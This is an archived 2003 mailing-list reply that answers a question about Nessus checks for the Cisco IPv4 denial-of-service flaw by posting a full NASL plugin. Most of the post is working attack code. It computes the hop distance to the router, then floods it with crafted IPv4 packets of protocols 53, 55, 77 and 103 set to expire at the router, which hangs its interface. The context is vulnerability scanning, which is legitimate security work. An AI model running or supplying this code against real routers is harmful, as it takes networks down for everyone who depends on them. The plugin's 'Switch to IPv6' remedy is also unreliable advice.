Re: Cisco IPv4 DOS

[Renaud Deraison]

On Fri, Jul 25, 2003 at 01:56:27PM -0500, Omernik, John wrote:
> 
>    Is there a "unwritten" rule about writing a plugin that could actually
>    be used to exploit a vuln? One of my security Colleauges asked if I
>    were to write a plugin for Nessus that acutally did the Cisco_ipV4
>    Dos... He doesn't like having our clients have SNMP running on their
>    routers, yet he wants to check for the vuln. Or is this not even
>    possible with nasl? Just curious. 

Here is the plugin. The real issue is not to block the remote router,
but rather properly detect that its keys are full. The current method
may not work well (ie: the plugin will block the router but may fail
to detect it has actually been loggued). Returns of experience are
welcome.


                                -- Renaud


if(description)
{
 script_id(99999);
 script_version ("$Revision: 1.2 $");
 
 name["english"] = "CISCO ipv4 DoS";
 script_name(english:name["english"]);
 
 desc["english"] = "
It is possible to crash the remote router by sending a sequence
of IPv4 packets of protocol 53, 55, 77 and 103.

Fortunately, IPv6 packets are not affected.

Solution : Switch to IPv6
Risk Factor : High";

 script_description(english:desc["english"]);
 
 summary["english"] = "Blocks the remote IOS network interface";
 script_summary(english:summary["english"]);
 
 script_category(ACT_KILL_HOST);
 
 
 script_copyright(english:"This script is Copyright (C) 2003 Renaud Deraison",
                francais:"Ce script est Copyright (C) 2003 Renaud Deraison");
 family["english"] = "Denial of Service";
 family["francais"] = "D�ni de service";
 script_family(english:family["english"], francais:family["francais"]);
 
 exit(0);
}

#
# The script code starts here
#

port = get_host_open_port();
if(!port)port = 80;
start_denial();

ip = forge_ip_packet(ip_hl: 5,          ip_v : 4,       ip_tos : 0,
                     ip_len : 20 + payload, ip_id:rand(),ip_off : 0,
                     ip_ttl : 64,       ip_p:IPPROTO_TCP,
                     ip_src : this_host());
                     
tcpip = forge_tcp_packet(    ip       : ip,
                             th_sport : rand(),
                             th_dport : port,
                             th_flags : TH_SYN,
                             th_seq   : 0xF1C,
                             th_ack   : 0,
                             th_x2    : 0,
                             th_off   : 5,
                             th_win   : 512,
                             th_urp   : 0);
             
filter = "ip and src host " + get_host_ip();
res = send_packet(tcpip, pcap_active:TRUE, pcap_filter:filter);
if(res == NULL ) exit(0);
#dump_ip_packet(res);
ttl = get_ip_element(ip:res, element:"ip_ttl");    
if(ttl < 32 )
{ 
 ttl = 32 - ttl;
}
else if(ttl < 64 )
{
 ttl = 64 - ttl;
}
else if(ttl < 128 )
{
 ttl = 128 - ttl;
}
else ttl = 255 - ttl;

protos = make_list(53, 55, 77, 103);
payload = 26;

for(i=0;i<42;i++)
{
 foreach proto (protos)
 {
  ip = forge_ip_packet(ip_hl: 5,                ip_v : 4,       ip_tos : 0,
                     ip_len : 20 + payload, ip_id:rand(),ip_off : 0,
                     ip_ttl : ttl,      ip_p:proto,
                     ip_src : this_host()) + crap(payload);
                     
  send_packet(ip, pcap_active:FALSE) x 76;
 }
}

alive = end_denial();
if(!alive){
        security_hole(0);
        set_kb_item(name:"Host/dead", value:TRUE);
        }